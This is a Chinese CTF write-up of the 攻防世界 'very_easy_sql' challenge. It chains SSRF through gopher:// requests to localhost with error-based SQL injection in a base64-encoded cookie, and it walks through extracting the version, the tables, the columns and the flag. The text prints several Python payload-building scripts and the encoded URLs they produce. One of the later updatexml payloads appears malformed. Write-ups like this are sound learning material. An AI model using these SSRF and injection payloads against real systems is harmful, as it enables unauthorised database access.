2.攻防世界 very_easy_sql

进入题目页面如下

SQL注入一顿尝试,结果什么回显也没有qyq,看到这行话


you are not an inner user, so we can not let you have identify~

你不是内部用户,所以我们不能让你有认同~


提示内部用户

ctrl+u查看源码

看都被注释的文件名

访问看看

看来不是SQL注入,题目有误导性啊qyq,(后面才发现会有SQL注入)再联想内部用户且curl命令用于在命令行中传输数据。可以用来发送请求、下载文件、上传数据等

猜测是SSRF漏洞

编写脚本从而进行内部访问

构建一个包含HTTP、POST请求的Gopher协议的URL

python脚本

python 复制代码
import urllib.parse

# 定义服务器的主机和端口
host = "127.0.0.1:80"
# 定义要发送的表单数据
content = "uname=admin&passwd=admin"
# 计算表单数据的长度
content_length = len(content)

# 构建 HTTP POST 请求的原始字符串
request_template = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
"""
# 使用 format 方法填充模板中的占位符
request = request_template.format(host, content_length, content)

# 第一次进行 URL 编码
quoted_request = urllib.parse.quote(request)

# 将编码后的字符串中的 %0A 替换为 %0D%0A
replaced_request = quoted_request.replace("%0A", "%0D%0A")

# 第二次进行 URL 编码
final_quoted_request = urllib.parse.quote(replaced_request)

# 构建最终的 Gopher 协议 URL
gopher_url = "gopher://" + host + "/_" + final_quoted_request

# 打印最终的 Gopher 协议 URL
print(gopher_url)

导入urllib.parse模块,提供处理URL编码等操作

最后将host和最终编码后的请求字符串组合成Gopher协议的URL

运行结果如下

?url=gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

访问并用burp suite抓包

看到cookie值处显示this_is_your_cookie=YWRtaW4%3D

看着像base64编码,解码看看

python脚本

python 复制代码
import base64
import urllib.parse

# 对输入的字符串进行 URL 解码
decoded_url = urllib.parse.unquote('YWRtaW4%3D')

# 进行 Base64 解码
decoded_bytes = base64.b64decode(decoded_url)

# 将解码后的字节对象转换为字符串
decoded_string = decoded_bytes.decode('utf-8')

print(decoded_string)

结果如下

是admin

猜测注入点在setcookie

开始SQL注入

判断是整数型注入还是字符型注入

加 ' 判断

admin' #

再次构建Gopher协议的URL,并修改cookie值

python脚本

python 复制代码
import urllib.parse

# 定义主机地址和端口
host = "127.0.0.1:80"
# 定义要发送的 Cookie 信息
cookie = "this_is_your_cookie=YWRtaW4nICM="

# 定义 HTTP 请求的模板字符串,使用占位符等待填充具体信息
request_template = """GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

"""

# 使用 format 方法将 host 和 cookie 信息填充到模板字符串中
request = request_template.format(host, cookie)

# 第一次进行 URL 编码,将请求字符串中的特殊字符转换为 %xx 形式
first_quoted = urllib.parse.quote(request)

# 将第一次编码后的字符串中的 %0A(换行符)替换为 %0D%0A(回车换行符)
replaced = first_quoted.replace("%0A", "%0D%0A")

# 第二次进行 URL 编码,确保最终结果符合 URL 规范
second_quoted = urllib.parse.quote(replaced)

# 构建最终的 Gopher 协议 URL
gopher_url = f"gopher://{host}/_{second_quoted}"

# 打印最终生成的 Gopher 协议 URL
print(gopher_url)

实现了构造一个包含特定 Cookie 信息的请求,将其转换为符合 Gopher 协议的 URL 格式

结果如下

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A

传参进去

看到有报错,进行报错注入

看了大佬的博客才知道,报错信息提示闭合点为admin') #,附上链接

攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-CSDN博客

xian's数据库信息

payload

admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #

再次构建Gopher协议的URL,并构造payload

python脚本

python 复制代码
import base64
import urllib.parse

# 定义目标主机和端口
target_host = "127.0.0.1"
target_port = 80
host = f"{target_host}:{target_port}"

# 构造SQL注入载荷
injection_payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"

# 对载荷进行Base64编码
encoded_payload = base64.b64encode(injection_payload.encode("utf-8")).decode("utf-8")

# 构造Cookie头
cookie_header = f"this_is_your_cookie={encoded_payload}"

# 构造HTTP请求
http_request = (
    "GET /index.php HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    "Connection: close\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Cookie: {cookie_header}\r\n"
    "\r\n"
)

# 将请求内容进行URL编码
encoded_request = urllib.parse.quote(http_request)

# 替换换行符为\r\n,以符合HTTP协议的换行要求
final_request = encoded_request.replace("%0A", "%0D%0A")

# 构造最终的Gopher协议请求
gopher_request = f"gopher://{host}/_{final_request}"

print(gopher_request)

结果如下

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A

回显数据库信息

爆数据库名

payload

admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #

这里参考了大佬的脚本攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-CSDN博客

python 复制代码
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSAj%250D%250A%250D%250A

url传参

数据库名为security

爆表名

payload

admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #

python脚本

python 复制代码
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpKSAj%250D%250A%250D%250A

传参进去

看到有flag表

爆字段名

payload

admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #

python脚本

python 复制代码
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVChjb2x1bW5fbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSdmbGFnJyksMHg3ZSkpICM%253D%250D%250A%250D%250A

传参进去

爆出字段的内容

admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #

python脚本

python 复制代码
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIGZsYWcgZnJvbSBmbGFnKSwweDdlKSkgIw%253D%253D%250D%250A%250D%250A


果然像之前做的报错注入的题,只显示了一半flag,因为报错注入最大回显32位

admin') AND UPDATEXML(1,CONCAT(0x7e,REVERSE((SELECT database())),0x7e),1)

倒置结果输出

python 复制代码
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and updatexml(1,concat(0x7e,reverse((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

最后组合,得到flag

cyberpeace{95e602bcf657b29d487733b9e29977ab}


SSRF知识点

SSRF(Server-Side Request Forgery),即服务器端请求伪造,是一种网络安全漏洞。

SSRF 是一种攻击方式,攻击者能够诱使服务器端应用程序向攻击者选择的目标发起请求。由于服务器通常具有更高的权限和更广泛的网络访问权限,因此可以绕过网络访问控制,访问内部系统或其他受保护的资源。

攻击原理

当应用程序需要从用户输入中获取 URL 并发起请求时,攻击者可以通过构造恶意的 URL 来发起 SSRF 攻击。例如,一个应用程序需要从用户输入的 URL 中读取数据,攻击者可以将这个 URL 指向内部网络地址或其他受保护的资源。

常见的触发点

文件上传功能:当应用程序对上传的文件进行处理,如解析文件中的 URL 并发起请求时。URL 重定向功能:如果应用程序将用户提供的 URL 进行重定向,可能会被利用。

第三方服务集成:例如,使用用户提供的 URL 调用外部 API 或从其他服务获取数据。

信息泄露

可以访问内部系统的敏感信息,如数据库、文件服务器等。例如,利用 SSRF 访问内部的 http://localhost:8080 可能会获取到内部服务器上运行的服务信息。

服务端请求攻击

可以对内部网络的其他服务发起攻击,例如对内部的 Redis 服务发送恶意命令,进行数据篡改或信息窃取。

绕过防火墙

绕过网络防火墙,因为请求是从内部服务器发起的,而不是外部攻击者直接发起。

相关推荐
想要打 Acm 的小周同学呀7 分钟前
Redis三剑客解决方案
数据库·redis·缓存
rkmhr_sef8 分钟前
Redis 下载与安装 教程 windows版
数据库·windows·redis
okok__TXF11 分钟前
Rpc导读
网络·网络协议·rpc
学长学姐我该怎么办22 分钟前
年前集训总结python
python
量化投资技术29 分钟前
【量化科普】Sharpe Ratio,夏普比率
python·量化交易·量化·量化投资·qmt·miniqmt
yanglamei196231 分钟前
基于Python+Django+Vue的旅游景区推荐系统系统设计与实现源代码+数据库+使用说明
vue.js·python·django
虚假程序设计34 分钟前
python用 PythonNet 从 Python 调用 WPF 类库 UI 用XAML
python·ui·wpf
&向上1 小时前
RK3588配置成为路由器
网络·智能路由器·rk3588
胡桃不是夹子1 小时前
CPU安装pytorch(别点进来)
人工智能·pytorch·python
猫猫的小茶馆2 小时前
【网络编程】UDP协议
linux·服务器·网络·网络协议·ubuntu·udp